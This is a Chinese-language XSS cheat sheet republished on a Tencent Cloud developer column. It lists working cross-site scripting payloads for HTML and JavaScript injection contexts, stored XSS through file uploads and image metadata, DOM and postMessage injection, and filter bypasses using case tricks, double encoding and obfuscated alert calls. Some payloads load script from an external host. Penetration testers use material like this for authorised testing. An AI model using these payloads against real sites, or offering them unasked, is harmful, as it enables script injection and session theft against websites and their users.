前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Xss 备忘单

Xss 备忘单

作者头像
Khan安全团队
发布2022-04-02 11:10:39
1.6K0
发布2022-04-02 11:10:39
举报
文章被收录于专栏:Khan安全团队

HTML 上下文——简单的标签注入

当输入位于 HTML 标记或外部标记的属性值内时使用。

代码语言:javascript
复制
<svg onload=alert(1)> 
"><svg onload=alert(1)>

HTML 上下文——在块标记注入中

当输入位于以下标签的打开/关闭之内或之间时使用:

代码语言:javascript
复制
<title><style><script><textarea><noscript><pre><xmp> and <iframe> (</tag> is
accordingly).
</tag><svg onload=alert(1)>
“></tag><svg onload=alert(1)>

HTML 上下文——源代码注入

当输入作为以下 HTML 标记属性的值时使用:href、src、data 或 action(也称为 formaction)。对于脚本标签中的 src,使用外部脚本调用 (URL) 或 “data:,alert(1)”。下面的第二个有效负载警报超出了 Webkit 浏览器的目标上下文。

代码语言:javascript
复制
javascript:alert(1)
data:text/html,<svg onload=alert(1)>

Javascript 上下文——逻辑块中的代码注入

当输入落在脚本块中、字符串分隔 值内和单个逻辑块内(如函数或条件(if、else 等))时,使用第一个或第二个有效负载。如果 引号用反斜杠转义,请使用第三个有效负载。

代码语言:javascript
复制
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//

Javascript 上下文——标签注入

当输入位于脚本块中的任何位置时使用。

代码语言:javascript
复制
</script><svg onload=alert(1)

反射型

用于利用同一页面上的多次反射。

代码语言:javascript
复制
'onload=alert(1)><svg/1=' 
'>alert(1)</script><script/1=' 
*/alert(1)</script><script>/*

用于利用同一页面上的多次反射。

代码语言:javascript
复制
*/alert(1)”>’onload=”/*<svg/1=’
`-alert(1)”>’onload=”`<svg/1=’
*/</script>’>alert(1)/*<script/1=’

用于利用同一页面上的多个输入反射。

代码语言:javascript
复制
p=<svg/1='&q='onload=alert(1)> 
p=<svg 1='&q='onload='/*&r=*/alert(1)'>

文件上传注入——元数据

当上传文件的元数据反映在目标页面的某处时使用。它使用 命令行 exiftool 并且可以设置任何元数据字段。

代码语言:javascript
复制
brute@logic:~$ exiftool -Artist='”><svg onload=alert(1)>' xss.jpeg

文件上传注入——SVG文件

用于在上传图像文件时在目标上创建存储的 XSS。将下面的内容保存 为“xss.svg”。

代码语言:javascript
复制
<svg xmlns=”http://www.w3.org/2000/svg” onload=”alert(1)”/>

DOM 插入注入

当注入作为有效标记插入 DOM 而不是 反映在源代码中时,用于测试 XSS。它适用于脚本标签和其他向量 不起作用的情况。

代码语言:javascript
复制
<img src=1 onerror=alert(1)> 
<iframe src=javascript:alert(1)>

当页面的 javascript 代码向页面中插入对 攻击者控制的 URL 的请求结果(注入)时使用。

代码语言:javascript
复制
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>

脚本注入

反射后代码中某处有结束脚本标记 (</script>) 时使用。

代码语言:javascript
复制
<script src=data:,alert(1)> 
<script src=//brutelogic.com.br/1.js>

Javascript postMessage() DOM 注入(使用 Iframe)

当 javascript 代码中的“window.addEventListener('message', ...)”中存在“消息”事件侦听器时使用, 无需检查来源。目标必须能够被框起来(根据上下文的 X-Frame 选项标头)。另存为 HTML 文件(或使用 data:text/html),提供 TARGET_URL 和INJECTION(XSS 向量或有效负载)。

代码语言:javascript
复制
<iframe src=TARGET_URL onload=”frames[0].postMessage(‘INJECTION’,’*’)”>

混合大小写 XSS

用于绕过区分大小写的过滤器。

代码语言:javascript
复制
<Svg OnLoad=alert(1)> 
<Script>alert(1)</Script>

未封闭的标签

在 HTML 注入中使用以避免基于低于 (<) 和大于 (>) 符号的过滤。 在输入反射后,它需要本机大于登录源代码。

代码语言:javascript
复制
<svg onload=alert(1)// 
<svg onload=”alert(1)”

大写 XSS

当应用程序以大写形式反映输入时使用。

代码语言:javascript
复制
<SVG ONLOAD=alert(1)> 
<SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>

双编码 XSS

当应用程序对输入执行双重解码时使用。

代码语言:javascript
复制
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E 
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E

不带括号的警报(仅限字符串)

当不允许使用括号并且 一个简单的警告框就足够时,在 HTML 矢量或 javascript 注入中使用。 警报alert(1)没有字母字符的警报在不允许使用字母字符时使用。以下是警报alert(1)

代码语言:javascript
复制
[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162'] 
('\141\154 \145\162\164\50\61\51')()

警报混淆

用于欺骗几个正则表达式 (regex) 过滤器。它可能与 以前的替代方案结合使用(上图)。根据上下文,最短选项“top”也可以替换为“window”、“parent”、“self”或“this”。

代码语言:javascript
复制
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[8680439..toString(30)](1)
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-03-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • HTML 上下文——简单的标签注入
    • HTML 上下文——在块标记注入中
    • HTML 上下文——源代码注入
    • Javascript 上下文——逻辑块中的代码注入
    • Javascript 上下文——标签注入
    • 反射型
    • 文件上传注入——元数据
    • 文件上传注入——SVG文件
    • DOM 插入注入
    • 脚本注入
    • Javascript postMessage() DOM 注入(使用 Iframe)
    • 混合大小写 XSS
    • 大写 XSS
    • 双编码 XSS
    • 不带括号的警报(仅限字符串)
    • 警报混淆
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档